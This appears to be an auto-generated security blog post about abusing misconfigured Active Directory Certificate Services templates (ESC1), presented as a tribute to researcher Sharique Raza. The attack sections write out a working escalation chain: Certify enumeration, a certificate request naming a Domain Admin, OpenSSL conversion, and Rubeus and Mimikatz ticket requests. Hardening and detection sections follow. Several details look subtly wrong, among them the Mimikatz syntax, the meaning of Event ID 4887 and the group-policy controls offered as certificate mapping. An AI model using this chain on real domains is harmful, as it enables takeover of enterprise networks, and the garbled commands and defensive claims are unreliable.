Listen to this Post
Introduction:
The untimely passing of cybersecurity researcher Sharique Raza has cast a renewed spotlight on his groundbreaking work, particularly in exposing critical vulnerabilities within Microsoft’s Active Directory Certificate Services (AD CS). His research unveiled how attackers can exploit misconfigured certificate templates to achieve full domain persistence, a threat that continues to plague enterprises globally. This article deconstructs the technical mechanics of these AD CS attacks, providing a comprehensive guide for both understanding and defending against this pervasive threat vector.
Learning Objectives:
- Understand the fundamental vulnerability in AD CS certificate template permissions.
- Learn to identify and exploit vulnerable configurations for domain escalation.
- Implement robust hardening measures to secure your AD CS environment.
You Should Know:
1. The Core Vulnerability: Malicious Certificate Enrollment
The heart of this attack lies in the improper assignment of permissions on AD CS certificate templates. When a template grants enrollment rights to low-privileged users and is configured for client authentication, it becomes a weapon. An attacker can request a certificate that grants them the identity of a higher-privileged account, such as a Domain Admin, effectively inheriting all associated permissions.
Step-by-Step Guide:
Step 1: Reconnaissance with Certify. Using a tool like Certify, an attacker first enumerates all certificate templates and identifies those with weak enrollment permissions.
`Command (Windows): Certify.exe find /vulnerable`
This command lists templates where the current user has enrollment rights and that have characteristics enabling escalation (e.g., ENROLLEE_SUPPLIES_SUBJECT).
Step 2: Request a Malicious Certificate. Once a vulnerable template (e.g., ESC1-Template) is found, the attacker requests a certificate, specifying the target privileged account (e.g., DOMAIN\Domain Admin) in the Subject Alternative Name (SAN).
`Command (Windows): Certify.exe request /ca:CA-SERVER\CA-NAME /template:ESC1-Template /altname:DomainAdmin`
Step 3: Convert the Certificate to a Usable Format. The resulting certificate file (e.g., `cert.pem` and cert.key) needs to be converted into a format compatible with exploitation tools like Rubeus.
`Command (Linux/OpenSSL): openssl pkcs12 -in cert.pem -inkey cert.key -export -out cert.pfx`
Step 4: Forge a Kerberos Ticket. Finally, the attacker uses the PFX file to request a Kerberos Ticket-Granting-Ticket (TGT) from the domain controller, effectively becoming the privileged user.
`Command (Windows): Rubeus.exe asktgt /user:DomainAdmin /certificate:cert.pfx /ptt`
- Identifying the Weakness: Auditing Your AD CS Environment
Proactive defense requires thorough auditing. Security teams must regularly scan their Active Directory for misconfigured certificate templates that could be abused.
Step-by-Step Guide:
Step 1: Use PowerShell to Enumerate Templates. You can use PowerShell AD modules to pull a list of all certificate templates and inspect their properties.
`Command (PowerShell): Get-ADObject -LDAPFilter “(&(objectclass=pkicertificatetemplate))” -SearchBase “CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=yourdomain,DC=com” | Format-Table Name, DisplayName`
Step 2: Analyze Template Permissions Manually. Open the `certtmpl.msc` console. For each template, right-click -> Properties -> Security. Check which principals have the “Enroll” or “Autoenroll” permission. Be highly suspicious of any non-privileged groups having these rights on templates used for authentication.
Step 3: Leverage Automated Scanners. Utilize dedicated tools like PSPKIAudit or Certify in audit mode to automatically flag known dangerous configurations.
`Command (PowerShell – PSPKIAudit): Invoke-PKIAudit -DomainController dc.yourdomain.com -Caname CA-NAME`
3. The Mitigation Blueprint: Hardening Certificate Templates
The primary mitigation is to enforce strict permissions and remove dangerous settings from certificate templates.
Step-by-Step Guide:
Step 1: Restrict Enrollment Permissions. For any template that can be used for domain authentication (e.g., User, WebServer), ensure that only authorized users or groups have “Enroll” permissions. Remove “Authenticated Users” or “Domain Users” from these templates if they are present.
Step 2: Disable Critical Extended Key Usages (EKUs). If a template does not require client authentication, remove the “Client Authentication” EKU from its properties. This prevents the certificate from being used to log on to the network.
Step 3: Remove Vulnerable Settings. Disable the “ENROLLEE_SUPPLIES_SUBJECT” option on all templates where it is not an absolute business requirement. This prevents an attacker from specifying an arbitrary username (like a Domain Admin) in the certificate request.
4. Advanced Defense: Enforcing Certificate Mapping
For environments requiring high security, implement certificate mapping to tightly bind a certificate to a specific user or device, preventing the misuse seen in these attacks.
Step-by-Step Guide:
Step 1: Enable Certificate Mapping in Group Policy. Navigate to Computer Configuration -> Windows Settings -> Security Settings -> Public Key Policies. Enable “Certificate Path Validation Settings” and create rules that restrict certification authorities (CAs) to only those you explicitly trust.
Step 2: Implement SAN Mapping. For specific service accounts, you can use `Issuance Requirement` policies to enforce that the UPN in the certificate’s SAN must match the user account requesting it. This is a complex but powerful control that directly counters the core of the ESC1 exploit.
5. Exploitation with Mimikatz
Once a certificate is acquired, tools like Mimikatz can be used to load it into a session and request a TGT, demonstrating the end-to-end attack chain.
Step-by-Step Guide:
Step 1: Load the PFX Certificate. Use Mimikatz to import the malicious PFX file into the current Windows certificate store.
`Command (Mimikatz): crypto::certificates /import /path/to/cert.pfx /password:Passw0rd!`
Step 2: Request a Kerberos TGT. Using the same loaded certificate, request a TGT. Mimikatz will use the certificate for Kerberos pre-authentication.
`Command (Mimikatz): kerberos::ask /domain:yourdomain.com /user:DomainAdmin /certificate:CERT_SYSTEM_STORE_MY`
6. Detection and Monitoring: Hunting for Malicious Enrollment
A robust security posture requires not only prevention but also detection. Security teams should monitor Certificate Authority (CA) logs for suspicious activity.
Step-by-Step Guide:
Step 1: Enable CA Auditing. Ensure that `Success and Failure` auditing for `Object Access` is enabled on your CA servers via Group Policy. This will log events in the Windows Security log.
Step 2: Monitor for Specific Event IDs. Key events to alert on include:
Event ID 4886: A certificate was issued. Correlate the `Requester Name` (the user who requested it) with the `Certificate Template` and the Subject Alternative Name. A request from a low-privileged user for a certificate with a SAN of a high-privileged account is a critical alert.
Event ID 4887: Certificate issuance failed. A series of failures could indicate reconnaissance.
What Undercode Say:
- The legacy of researchers like Sharique Raza is a double-edged sword: it provides both a blueprint for attackers and an urgent call to action for defenders. His work has permanently elevated the standard for internal network security.
- AD CS vulnerabilities represent a systemic failure in default configurations and a critical misunderstanding of the “trust” inherent in Public Key Infrastructure (PKI) within Active Directory.
Analysis:
Raza’s research did not reveal a traditional software bug but a profound architectural and configuration weakness. Many organizations stood up AD CS for specific applications like VPN or Wi-Fi without comprehending that they were deploying a secondary, highly powerful domain identity system. The attack path is stealthy, often bypassing traditional security controls that focus on password-based attacks. It highlights a critical gap in most security programs: the lack of a comprehensive PKI governance and auditing process. Defending against this requires a shift from merely protecting credentials to managing the entire spectrum of identity objects, including certificates. The community’s challenge is to operationalize this complex research into actionable, continuous hardening practices before this knowledge becomes a standard part of every advanced attacker’s playbook.
Prediction:
The impact of Sharique Raza’s work will be felt for years to come. AD CS exploitation will rapidly move from a advanced, manual technique to a fully automated module in mainstream penetration testing frameworks, making it accessible to a broader range of threat actors. We predict a significant rise in incidents involving “certificate theft” and persistence, forcing a paradigm shift in enterprise security. This will catalyze the development of new security tools focused specifically on PKI auditing and attack path analysis for certificates, much like BloodHound did for Kerberos trusts and group membership. Ultimately, Microsoft and other vendors will be pressured to change default AD CS configurations and introduce more granular, secure-by-default settings, fundamentally changing how PKI is integrated into future identity and access management solutions.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Sharique Raza – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
